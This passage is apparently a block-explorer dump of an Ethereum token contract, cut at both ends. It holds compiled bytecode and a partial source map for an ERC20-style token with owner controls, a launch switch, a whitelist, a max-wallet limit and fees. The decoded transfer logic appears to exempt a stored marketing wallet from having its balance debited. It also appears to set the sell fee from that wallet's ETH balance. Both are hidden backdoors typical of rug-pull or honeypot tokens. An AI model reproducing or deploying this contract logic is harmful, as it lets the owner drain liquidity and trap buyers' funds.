580156116c557600080fd5b505af11580156116d9573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161170e929190611c4e565b60405180910390a15050565b6001600160a01b03821660009081526006602052604081205460ff168061175957506001600160a01b03821660009081526006602052604090205460ff165b15611766575060016106f1565b6001600160a01b03831660009081526007602052604090205460ff16806117a557506001600160a01b03821660009081526007602052604090205460ff165b156117b2575060006106f1565b5060006106f1565b6001600160a01b038316600090815260076020526040812054819060ff1615611805576117fe6009546117f8600a5486610d3190919063ffffffff16565b90610db3565b9050611855565b6001600160a01b03841660009081526007602052604090205460ff161561185557600954600c54600b5461185292916117f89161184b916001600160a01b0316316118d5565b8690610d31565b90505b80156118cf5730600090815260046020526040902054611875908261139d565b30600081815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118c69085815260200190565b60405180910390a35b61139483825b600061075b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611363565b600060208083528351808285015260005b8181101561194457858101830151858201604001528201611928565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108db57600080fd5b6000806040838503121561198d57600080fd5b823561199881611965565b946020939093013593505050565b6000806000606084860312156119bb57600080fd5b83356119c681611965565b925060208401356119d681611965565b929592945050506040919091013590565b6000602082840312156119f957600080fd5b813561075b81611965565b60008060408385031215611a1757600080fd5b8235611a2281611965565b915060208301358015158114611a3757600080fd5b809150509250929050565b600060208284031215611a5457600080fd5b5035919050565b60008060408385031215611a6e57600080fd5b8235611a7981611965565b91506020830135611a3781611965565b600181811c90821680611a9d57607f821691505b602082108103611abd57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b0a57600080fd5b815161075b81611965565b600080600060608486031215611b2a57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176106f1576106f1611b43565b600082611b8d57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156106f1576106f1611b43565b808201808211156106f1576106f1611b43565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b83811015611c075781516001600160a01b031687529582019590820190600101611be2565b509495945050505050565b85815284602082015260a060408201526000611c3160a0830186611bce565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000611c676040830184611bce565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e9fba87420716b54bd4e004123f7d0d770de4451b07e2238c699d220644ea02b64736f6c63430008120033
Deployed Bytecode
0x6080604052600436106101f25760003560e01c8063751039fc1161010d578063c469b6dd116100a0578063d7f038c81161006f578063d7f038c814610588578063dd62ed3e146105a8578063df8408fe146105ee578063f242ab411461060e578063f2fde38b1461062e57600080fd5b8063c469b6dd14610524578063c867d60b1461053a578063c9567bf91461056a578063cab034711461057257600080fd5b806395d89b41116100dc57806395d89b41146104ba57806399d32fc4146104cf578063a457c2d7146104e4578063a9059cbb1461050457600080fd5b8063751039fc1461045b5780637d1db4a514610470578063807c2d9c146104865780638da5cb5b1461049c57600080fd5b806339509351116101855780636ddd1713116101545780636ddd1713146103d157806370a08231146103f0578063715018a614610426578063728d41c91461043b57600080fd5b8063395093511461032f5780633ecad2711461034f5780635342acb41461037f578063651a8987146103af57600080fd5b806318160ddd116101c157806318160ddd146102b85780631c75f085146102cd57806323b872dd146102ed578063313ce5671461030d57600080fd5b80630445b667146101fe57806306fdde03146102275780630758d92414610249578063095ea7b31461028857600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5061021460105481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061023c61064e565b60405161021e9190611917565b34801561025557600080fd5b5060115461027090630100000090046001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561029457600080fd5b506102a86102a336600461197a565b6106e0565b604051901515815260200161021e565b3480156102c457600080fd5b50600d54610214565b3480156102d957600080fd5b50600c54610270906001600160a01b031681565b3480156102f957600080fd5b506102a86103083660046119a6565b6106f7565b34801561031957600080fd5b5060035460405160ff909116815260200161021e565b34801561033b57600080fd5b506102a861034a36600461197a565b610762565b34801561035b57600080fd5b506102a861036a3660046119e7565b60076020526000908152604090205460ff1681565b34801561038b57600080fd5b506102a861039a3660046119e7565b60066020526000908152604090205460ff1681565b3480156103bb57600080fd5b506103cf6103ca366004611a04565b610798565b005b3480156103dd57600080fd5b506011546102a890610100900460ff1681565b3480156103fc57600080fd5b5061021461040b3660046119e7565b6001600160a01b031660009081526004602052604090205490565b34801561043257600080fd5b506103cf6107f6565b34801561044757600080fd5b506103cf610456366004611a42565b61082c565b34801561046757600080fd5b506103cf61085b565b34801561047c57600080fd5b50610214600e5481565b34801561049257600080fd5b50610214600f5481565b3480156104a857600080fd5b506000546001600160a01b0316610270565b3480156104c657600080fd5b5061023c610893565b3480156104db57600080fd5b506103cf6108a2565b3480156104f057600080fd5b506102a86104ff36600461197a565b6108de565b34801561051057600080fd5b506102a861051f36600461197a565b61092d565b34801561053057600080fd5b50610214600a5481565b34801561054657600080fd5b506102a86105553660046119e7565b60086020526000908152604090205460ff1681565b6103cf61093a565b34801561057e57600080fd5b50610214600b5481565b34801561059457600080fd5b506011546102a89062010000900460ff1681565b3480156105b457600080fd5b506102146105c3366004611a5b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105fa57600080fd5b506103cf610609366004611a04565b610c44565b34801561061a57600080fd5b50601254610270906001600160a01b031681565b34801561063a57600080fd5b506103cf6106493660046119e7565b610c99565b60606001805461065d90611a89565b80601f016020809104026020016040519081016040528092919081815260200182805461068990611a89565b80156106d65780601f106106ab576101008083540402835291602001916106d6565b820191906000526020600020905b8154815290600101906020018083116106b957829003601f168201915b5050505050905090565b60006106ed338484610df5565b5060015b92915050565b6000610704848484610f19565b50610757843361075285604051806060016040528060288152602001611c70602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611363565b610df5565b5060015b9392505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916106ed918590610752908661139d565b6000546001600160a01b031633146107cb5760405162461bcd60e51b81526004016107c290611ac3565b60405180910390fd5b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108205760405162461bcd60e51b81526004016107c290611ac3565b61082a60006113fc565b565b6000546001600160a01b031633146108565760405162461bcd60e51b81526004016107c290611ac3565b600f55565b6000546001600160a01b031633146108855760405162461bcd60e51b81526004016107c290611ac3565b6011805462ff000019169055565b60606002805461065d90611a89565b600c546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156108db573d6000803e3d6000fd5b50565b60006106ed338461075285604051806060016040528060258152602001611c98602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611363565b6000610757338484610f19565b6000546001600160a01b031633146109645760405162461bcd60e51b81526004016107c290611ac3565b60115460ff16156109ab5760405162461bcd60e51b8152602060048201526011602482015270416c7265616479206c61756e636865642160781b60448201526064016107c2565b60118054600160ff1990911617908190556040805163c45a015560e01b8152905163010000009092046001600160a01b03169163c45a0155916004808201926020929091908290030181865afa158015610a09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2d9190611af8565b6001600160a01b031663c9c6539630601160039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab39190611af8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b249190611af8565b601280546001600160a01b039283166001600160a01b031990911681179091556000908152600760205260409020805460ff19166001179055601154630100000090041663f305d7193430610b8e816001600160a01b031660009081526004602052604090205490565b600080610ba36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611b15565b50506011805461ff00191661010017905550565b6000546001600160a01b03163314610c6e5760405162461bcd60e51b81526004016107c290611ac3565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610cc35760405162461bcd60e51b81526004016107c290611ac3565b6001600160a01b038116610d285760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c2565b6108db816113fc565b600082600003610d43575060006106f1565b6000610d4f8385611b59565b905082610d5c8583611b70565b1461075b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107c2565b600061075b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061144c565b6001600160a01b038316610e575760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107c2565b6001600160a01b038216610eb85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107c2565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610f7f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107c2565b6001600160a01b038316610fe15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c2565b600082116110435760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107c2565b601254600160a01b900460ff16156110675761106084848461147a565b905061075b565b60115460ff166110f5576001600160a01b03841660009081526006602052604090205460ff16806110b057506001600160a01b03831660009081526006602052604090205460ff165b6110f55760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016107c2565b30600090815260046020526040902054601054811080159081906111235750601254600160a01b900460ff16155b801561114857506001600160a01b03861660009081526007602052604090205460ff16155b801561115b5750601154610100900460ff165b156111695761116982611560565b600c546001600160a01b038781169116146111ea576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600490915291909120546111d0918690611363565b6001600160a01b0387166000908152600460205260409020555b60006111f6878761171a565b61120a576112058787876117ba565b61120c565b845b60115490915062010000900460ff16801561123457506012546001600160a01b038881169116145b801561125957506001600160a01b03861660009081526008602052604090205460ff16155b156112d857600f5461128a82611284896001600160a01b031660009081526004602052604090205490565b9061139d565b11156112d85760405162461bcd60e51b815260206004820152601b60248201527f4d61782057616c6c6574204c696d69742045786365656465642121000000000060448201526064016107c2565b6001600160a01b0386166000908152600460205260409020546112fb908261139d565b6001600160a01b0380881660008181526004602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061134f9085815260200190565b60405180910390a36001935050505061075b565b600081848411156113875760405162461bcd60e51b81526004016107c29190611917565b5060006113948486611b92565b95945050505050565b6000806113aa8385611ba5565b90508381101561075b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107c2565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000818361146d5760405162461bcd60e51b81526004016107c29190611917565b5060006113948486611b70565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526004909152918220546114cb918490611363565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546114fa908361139d565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061154e9086815260200190565b60405180910390a35060019392505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061159557611595611bb8565b60200260200101906001600160a01b031690816001600160a01b031681525050601160039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611608573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162c9190611af8565b8160018151811061163f5761163f611bb8565b6001600160a01b03928316602091820292909201015260115461166c913091630100000090041684610df5565b60115460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac947906116ab908590600090869030904290600401611c12565b600060405180830381600087803b1580156116c557600080fd5b505af11580156116d9573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161170e929190611c4e565b60405180910390a15050565b6001600160a01b03821660009081526006602052604081205460ff168061175957506001600160a01b03821660009081526006602052604090205460ff165b15611766575060016106f1565b6001600160a01b03831660009081526007602052604090205460ff16806117a557506001600160a01b03821660009081526007602052604090205460ff165b156117b2575060006106f1565b5060006106f1565b6001600160a01b038316600090815260076020526040812054819060ff1615611805576117fe6009546117f8600a5486610d3190919063ffffffff16565b90610db3565b9050611855565b6001600160a01b03841660009081526007602052604090205460ff161561185557600954600c54600b5461185292916117f89161184b916001600160a01b0316316118d5565b8690610d31565b90505b80156118cf5730600090815260046020526040902054611875908261139d565b30600081815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118c69085815260200190565b60405180910390a35b61139483825b600061075b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611363565b600060208083528351808285015260005b8181101561194457858101830151858201604001528201611928565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108db57600080fd5b6000806040838503121561198d57600080fd5b823561199881611965565b946020939093013593505050565b6000806000606084860312156119bb57600080fd5b83356119c681611965565b925060208401356119d681611965565b929592945050506040919091013590565b6000602082840312156119f957600080fd5b813561075b81611965565b60008060408385031215611a1757600080fd5b8235611a2281611965565b915060208301358015158114611a3757600080fd5b809150509250929050565b600060208284031215611a5457600080fd5b5035919050565b60008060408385031215611a6e57600080fd5b8235611a7981611965565b91506020830135611a3781611965565b600181811c90821680611a9d57607f821691505b602082108103611abd57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b0a57600080fd5b815161075b81611965565b600080600060608486031215611b2a57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176106f1576106f1611b43565b600082611b8d57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156106f1576106f1611b43565b808201808211156106f1576106f1611b43565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b83811015611c075781516001600160a01b031687529582019590820190600101611be2565b509495945050505050565b85815284602082015260a060408201526000611c3160a0830186611bce565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000611c676040830184611bce565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e9fba87420716b54bd4e004123f7d0d770de4451b07e2238c699d220644ea02b64736f6c63430008120033
Deployed Bytecode Sourcemap
7188:9041:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8098:61;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;8098:61:0;;;;;;;;9272:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;8279:33::-;;;;;;;;;;-1:-1:-1;8279:33:0;;;;;;;-1:-1:-1;;;;;8279:33:0;;;;;;-1:-1:-1;;;;;937:32:1;;;919:51;;907:2;892:18;8279:33:0;749:227:1;10442:161:0;;;;;;;;;;-1:-1:-1;10442:161:0;;;;;:::i;:::-;;:::i;:::-;;;1602:14:1;;1595:22;1577:41;;1565:2;1550:18;10442:161:0;1437:187:1;9549:100:0;;;;;;;;;;-1:-1:-1;9629:12:0;;9549:100;;7807:80;;;;;;;;;;-1:-1:-1;7807:80:0;;;;-1:-1:-1;;;;;7807:80:0;;;11216:313;;;;;;;;;;-1:-1:-1;11216:313:0;;;;;:::i;:::-;;:::i;9458:83::-;;;;;;;;;;-1:-1:-1;9524:9:0;;9458:83;;9524:9;;;;2440:36:1;;2428:2;2413:18;9458:83:0;2298:184:1;9939:218:0;;;;;;;;;;-1:-1:-1;9939:218:0;;;;;:::i;:::-;;:::i;7584:45::-;;;;;;;;;;-1:-1:-1;7584:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7527:50;;;;;;;;;;-1:-1:-1;7527:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15283:128;;;;;;;;;;-1:-1:-1;15283:128:0;;;;;:::i;:::-;;:::i;:::-;;8195:31;;;;;;;;;;-1:-1:-1;8195:31:0;;;;;;;;;;;9657:123;;;;;;;;;;-1:-1:-1;9657:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;9749:18:0;9723:7;9749:18;;;:9;:18;;;;;;;9657:123;1942:94;;;;;;;;;;;;;:::i;15419:106::-;;;;;;;;;;-1:-1:-1;15419:106:0;;;;;:::i;:::-;;:::i;16028:88::-;;;;;;;;;;;;;:::i;7963:61::-;;;;;;;;;;;;;;;;8031:58;;;;;;;;;;;;;;;;1633:87;;;;;;;;;;-1:-1:-1;1679:7:0;1706:6;-1:-1:-1;;;;;1706:6:0;1633:87;;9363;;;;;;;;;;;;;:::i;16124:100::-;;;;;;;;;;;;;:::i;10165:269::-;;;;;;;;;;-1:-1:-1;10165:269:0;;;;;:::i;:::-;;:::i;11041:167::-;;;;;;;;;;-1:-1:-1;11041:167:0;;;;;:::i;:::-;;:::i;7732:30::-;;;;;;;;;;;;;;;;7636:52;;;;;;;;;;-1:-1:-1;7636:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15533:487;;;:::i;7769:31::-;;;;;;;;;;;;;;;;8233:37;;;;;;;;;;-1:-1:-1;8233:37:0;;;;;;;;;;;9788:143;;;;;;;;;;-1:-1:-1;9788:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;9896:18:0;;;9869:7;9896:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9788:143;15153:122;;;;;;;;;;-1:-1:-1;15153:122:0;;;;;:::i;:::-;;:::i;8319:22::-;;;;;;;;;;-1:-1:-1;8319:22:0;;;;-1:-1:-1;;;;;8319:22:0;;;2044:229;;;;;;;;;;-1:-1:-1;2044:229:0;;;;;:::i;:::-;;:::i;9272:83::-;9309:13;9342:5;9335:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9272:83;:::o;10442:161::-;10517:4;10534:39;280:10;10557:7;10566:6;10534:8;:39::i;:::-;-1:-1:-1;10591:4:0;10442:161;;;;;:::o;11216:313::-;11314:4;11331:36;11341:6;11349:9;11360:6;11331:9;:36::i;:::-;-1:-1:-1;11378:121:0;11387:6;280:10;11409:89;11447:6;11409:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11409:19:0;;;;;;:11;:19;;;;;;;;280:10;11409:33;;;;;;;;;;:37;:89::i;:::-;11378:8;:121::i;:::-;-1:-1:-1;11517:4:0;11216:313;;;;;;:::o;9939:218::-;280:10;10027:4;10076:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10076:34:0;;;;;;;;;;10027:4;;10044:83;;10067:7;;10076:50;;10115:10;10076:38;:50::i;15283:128::-;1679:7;1706:6;-1:-1:-1;;;;;1706:6:0;280:10;1854:23;1846:68;;;;-1:-1:-1;;;1846:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;15368:25:0;;;::::1;;::::0;;;:19:::1;:25;::::0;;;;:35;;-1:-1:-1;;15368:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15283:128::o;1942:94::-;1679:7;1706:6;-1:-1:-1;;;;;1706:6:0;280:10;1854:23;1846:68;;;;-1:-1:-1;;;1846:68:0;;;;;;;:::i;:::-;2007:21:::1;2025:1;2007:9;:21::i;:::-;1942:94::o:0;15419:106::-;1679:7;1706:6;-1:-1:-1;;;;;1706:6:0;280:10;1854:23;1846:68;;;;-1:-1:-1;;;1846:68:0;;;;;;;:::i;:::-;15496:10:::1;:21:::0;15419:106::o;16028:88::-;1679:7;1706:6;-1:-1:-1;;;;;1706:6:0;280:10;1854:23;1846:68;;;;-1:-1:-1;;;1846:68:0;;;;;;;:::i;:::-;16082:18:::1;:26:::0;;-1:-1:-1;;16082:26:0::1;::::0;;16028:88::o;9363:87::-;9402:13;9435:7;9428:14;;;;;:::i;16124:100::-;16172:11;;16164:52;;-1:-1:-1;;;;;16172:11:0;;;;16194:21;16164:52;;;;;16172:11;16164:52;16172:11;16164:52;16194:21;16172:11;16164:52;;;;;;;;;;;;;;;;;;;;;16124:100::o;10165:269::-;10258:4;10275:129;280:10;10298:7;10307:96;10346:15;10307:96;;;;;;;;;;;;;;;;;280:10;10307:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10307:34:0;;;;;;;;;;;;:38;:96::i;11041:167::-;11119:4;11136:42;280:10;11160:9;11171:6;11136:9;:42::i;15533:487::-;1679:7;1706:6;-1:-1:-1;;;;;1706:6:0;280:10;1854:23;1846:68;;;;-1:-1:-1;;;1846:68:0;;;;;;;:::i;:::-;15603:13:::1;::::0;::::1;;15602:14;15594:44;;;::::0;-1:-1:-1;;;15594:44:0;;4686:2:1;15594:44:0::1;::::0;::::1;4668:21:1::0;4725:2;4705:18;;;4698:30;-1:-1:-1;;;4744:18:1;;;4737:47;4801:18;;15594:44:0::1;4484:341:1::0;15594:44:0::1;15651:13;:20:::0;;15667:4:::1;-1:-1:-1::0;;15651:20:0;;::::1;;::::0;;;;15710:19:::1;::::0;;-1:-1:-1;;;15710:19:0;;;;:9;;;::::1;-1:-1:-1::0;;;;;15710:9:0::1;::::0;:17:::1;::::0;:19:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;:9;:19:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15692:49:0::1;;15764:4;15784:9;;;;;;;;;-1:-1:-1::0;;;;;15784:9:0::1;-1:-1:-1::0;;;;;15784:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15692:119;::::0;-1:-1:-1;;;;;;15692:119:0::1;::::0;;;;;;-1:-1:-1;;;;;5316:15:1;;;15692:119:0::1;::::0;::::1;5298:34:1::0;5368:15;;5348:18;;;5341:43;5233:18;;15692:119:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15682:7;:129:::0;;-1:-1:-1;;;;;15682:129:0;;::::1;-1:-1:-1::0;;;;;;15682:129:0;;::::1;::::0;::::1;::::0;;;:7:::1;15822:30:::0;;;:12:::1;:30;::::0;;;;:37;;-1:-1:-1;;15822:37:0::1;15682:129:::0;15822:37:::1;::::0;;15870:9:::1;::::0;;;::::1;;:25;15903:9;15922:4;15928:24;15922:4:::0;-1:-1:-1;;;;;9749:18:0;9723:7;9749:18;;;:9;:18;;;;;;;9657:123;15928:24:::1;15953:1;15955::::0;15957:7:::1;1679::::0;1706:6;-1:-1:-1;;;;;1706:6:0;;1633:87;15957:7:::1;15870:111;::::0;::::1;::::0;;;-1:-1:-1;;;;;;15870:111:0;;;-1:-1:-1;;;;;5754:15:1;;;15870:111:0::1;::::0;::::1;5736:34:1::0;5786:18;;;5779:34;;;;5829:18;;;5822:34;;;;5872:18;;;5865:34;5936:15;;;5915:19;;;5908:44;15965:15:0::1;5968:19:1::0;;;5961:35;5670:19;;15870:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;15994:11:0::1;:18:::0;;-1:-1:-1;;15994:18:0::1;;;::::0;;-1:-1:-1;15533:487:0:o;15153:122::-;1679:7;1706:6;-1:-1:-1;;;;;1706:6:0;280:10;1854:23;1846:68;;;;-1:-1:-1;;;1846:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15234:23:0;;;::::1;;::::0;;;:17:::1;:23;::::0;;;;:33;;-1:-1:-1;;15234:33:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15153:122::o;2044:229::-;1679:7;1706:6;-1:-1:-1;;;;;1706:6:0;280:10;1854:23;1846:68;;;;-1:-1:-1;;;1846:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2147:22:0;::::1;2125:110;;;::::0;-1:-1:-1;;;2125:110:0;;6520:2:1;2125:110:0::1;::::0;::::1;6502:21:1::0;6559:2;6539:18;;;6532:30;6598:34;6578:18;;;6571:62;-1:-1:-1;;;6649:18:1;;;6642:36;6695:19;;2125:110:0::1;6318:402:1::0;2125:110:0::1;2246:19;2256:8;2246:9;:19::i;3020:250::-:0;3078:7;3102:1;3107;3102:6;3098:47;;-1:-1:-1;3132:1:0;3125:8;;3098:47;3157:9;3169:5;3173:1;3169;:5;:::i;:::-;3157:17;-1:-1:-1;3202:1:0;3193:5;3197:1;3157:17;3193:5;:::i;:::-;:10;3185:56;;;;-1:-1:-1;;;3185:56:0;;7454:2:1;3185:56:0;;;7436:21:1;7493:2;7473:18;;;7466:30;7532:34;7512:18;;;7505:62;-1:-1:-1;;;7583:18:1;;;7576:31;7624:19;;3185:56:0;7252:397:1;3278:132:0;3336:7;3363:39;3367:1;3370;3363:39;;;;;;;;;;;;;;;;;:3;:39::i;10611:337::-;-1:-1:-1;;;;;10704:19:0;;10696:68;;;;-1:-1:-1;;;10696:68:0;;7856:2:1;10696:68:0;;;7838:21:1;7895:2;7875:18;;;7868:30;7934:34;7914:18;;;7907:62;-1:-1:-1;;;7985:18:1;;;7978:34;8029:19;;10696:68:0;7654:400:1;10696:68:0;-1:-1:-1;;;;;10783:21:0;;10775:68;;;;-1:-1:-1;;;10775:68:0;;8261:2:1;10775:68:0;;;8243:21:1;8300:2;8280:18;;;8273:30;8339:34;8319:18;;;8312:62;-1:-1:-1;;;8390:18:1;;;8383:32;8432:19;;10775:68:0;8059:398:1;10775:68:0;-1:-1:-1;;;;;10856:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10908:32;;160:25:1;;;10908:32:0;;133:18:1;10908:32:0;;;;;;;10611:337;;;:::o;11537:1589::-;11624:4;-1:-1:-1;;;;;11651:20:0;;11643:70;;;;-1:-1:-1;;;11643:70:0;;8664:2:1;11643:70:0;;;8646:21:1;8703:2;8683:18;;;8676:30;8742:34;8722:18;;;8715:62;-1:-1:-1;;;8793:18:1;;;8786:35;8838:19;;11643:70:0;8462:401:1;11643:70:0;-1:-1:-1;;;;;11732:23:0;;11724:71;;;;-1:-1:-1;;;11724:71:0;;9070:2:1;11724:71:0;;;9052:21:1;9109:2;9089:18;;;9082:30;9148:34;9128:18;;;9121:62;-1:-1:-1;;;9199:18:1;;;9192:33;9242:19;;11724:71:0;8868:399:1;11724:71:0;11823:1;11814:6;:10;11806:64;;;;-1:-1:-1;;;11806:64:0;;9474:2:1;11806:64:0;;;9456:21:1;9513:2;9493:18;;;9486:30;9552:34;9532:18;;;9525:62;-1:-1:-1;;;9603:18:1;;;9596:39;9652:19;;11806:64:0;9272:405:1;11806:64:0;11891:6;;-1:-1:-1;;;11891:6:0;;;;11887:1232;;;11921:41;11936:6;11944:9;11955:6;11921:14;:41::i;:::-;11914:48;;;;11887:1232;12011:13;;;;12006:146;;-1:-1:-1;;;;;12053:25:0;;;;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;12082:28:0;;;;;;:17;:28;;;;;;;;12053:57;12045:91;;;;-1:-1:-1;;;12045:91:0;;9884:2:1;12045:91:0;;;9866:21:1;9923:2;9903:18;;;9896:30;-1:-1:-1;;;9942:18:1;;;9935:52;10004:18;;12045:91:0;9682:346:1;12045:91:0;12217:4;12168:28;9749:18;;;:9;:18;;;;;;12293:13;;12269:37;;;;;;;12327:34;;-1:-1:-1;12355:6:0;;-1:-1:-1;;;12355:6:0;;;;12354:7;12327:34;:59;;;;-1:-1:-1;;;;;;12366:20:0;;;;;;:12;:20;;;;;;;;12365:21;12327:59;:74;;;;-1:-1:-1;12390:11:0;;;;;;;12327:74;12323:153;;;12422:38;12439:20;12422:16;:38::i;:::-;12491:11;;-1:-1:-1;;;;;12481:21:0;;;12491:11;;12481:21;12477:126;;12550:53;;;;;;;;;;;-1:-1:-1;;;12550:53:0;;;;;;;;-1:-1:-1;;;;;12550:17:0;;-1: